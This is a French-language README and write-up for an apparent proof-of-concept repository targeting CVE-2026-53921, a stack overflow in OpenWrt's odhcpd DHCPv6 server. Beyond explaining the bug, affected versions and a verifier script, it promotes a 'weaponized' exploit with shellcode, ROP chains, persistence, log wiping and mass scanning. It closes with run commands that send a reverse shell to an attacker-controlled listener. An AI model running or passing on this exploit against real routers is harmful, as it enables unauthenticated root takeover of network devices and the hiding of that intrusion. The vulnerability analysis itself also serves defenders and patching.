
CVE-2026-53921 – Débordement de pile odhcpd (CVSS 9.8) 🛡️ Write-Up détaillé et complet de la vulnérabilité, avec vérificateur et multi-exploit pour l'exécution de code à distance (RCE) DHCPv6 sur OpenWrt. Débordement à double vecteur (IA_NA/IA_PD) avec shellcode MIPS/ARM, chaînes ROP, proxy SOCKS5, persistance, effacement des journaux et balayage de masse. Utilisez de manière éthique, restez dans la légalité. 🔒

⚠️ Uniquement à des fins éducatives et de tests autorisés. Toute utilisation non autorisée est illégale.
CVE-2026-53921 est un débordement de tampon de pile critique dans le démon odhcpd d’OpenWrt – le serveur DHCPv6/DHCPv4/RA par défaut.
La vulnérabilité se situe dans le code de traitement des messages DHCPv6 d’odhcpd, plus précisément dans les fonctions build_ia() et dhcpv6_ia_handle_IAs().
Le bug se produit lors de la sérialisation (empaquetage) des paquets de réponse DHCPv6. Lorsque odhcpd répond aux requêtes des clients, il construit la réponse dans un tampon de pile de taille fixe de 512 octets sans vérification adéquate des limites.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Un attaquant envoie une requête DHCPv6 (ou un Solicit) avec :
Chaque option consomme de l’espace de pile lorsque odhcpd construit sa réponse. Les données accumulées dépassent 512 octets, provoquant le débordement.
Vecteur Déclencheur Point de débordement
Site 1 5 options IA_NA build_ia() pour IA_NA
avec adresses IPv6
build_ia() pour IA_PDLa cause racine est identique, mais le débordement se produit dans des chemins de code différents, ce qui rend les deux vecteurs également exploitables.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
L’attaquant écrase l’adresse de retour sauvegardée pour qu’elle pointe vers son shellcode en mémoire.
Exigence Description
Accès réseau L’attaquant doit avoir une connectivité IPv6 vers la cible
Authentification Aucune -- attaque non authentifiée
Privilèges odhcpd s’exécute en tant que root,
donc l’RCE accorde le contrôle total du
système
Dans un exploit réel, le shellcode de l’attaquant est placé dans les champs d’adresse IPv6 IAAddress (16 octets par IA_NA). Les paquets malveillants intègrent le shellcode, le NOP sled et l’adresse de retour dans ces champs.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Statut RCE possible ?
odhcpd < e432dd6 Vulnérable ✅ Oui OpenWrt < 24.10.8 Vulnérable ✅ Oui OpenWrt < 25.12.5 Vulnérable ✅ Oui OpenWrt 24.10.8+ Corrigé ❌ Non OpenWrt 25.12.5+ Corrigé ❌ Non odhcpd master + e432dd6 Corrigé ❌ Non
Cette vulnérabilité est particulièrement dangereuse car :
odhcpd est activé par défaut sur les installations OpenWrt.| Composant | Versions vulnérables | Corrigé dans |
|---|---|---|
odhcpd (branche master) | avant le commit e432dd6 | e432dd6 ou ultérieur |
| Versions OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
Ce dépôt fournit deux scripts indépendants :
| Script | Objectif | Code d’exploit | Sécurité |
|---|---|---|---|
verifier.py | Vérification de vulnérabilité non intrusive | ❌ Non | ✅ Sûr |
exploit.py | Exploit complet et armé | ✅ Oui | ⚠️ Dangereux |
verifier.py – Vérificateur de vulnérabilitéexploit.py – Exploit completIA_NA (Site1) et IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py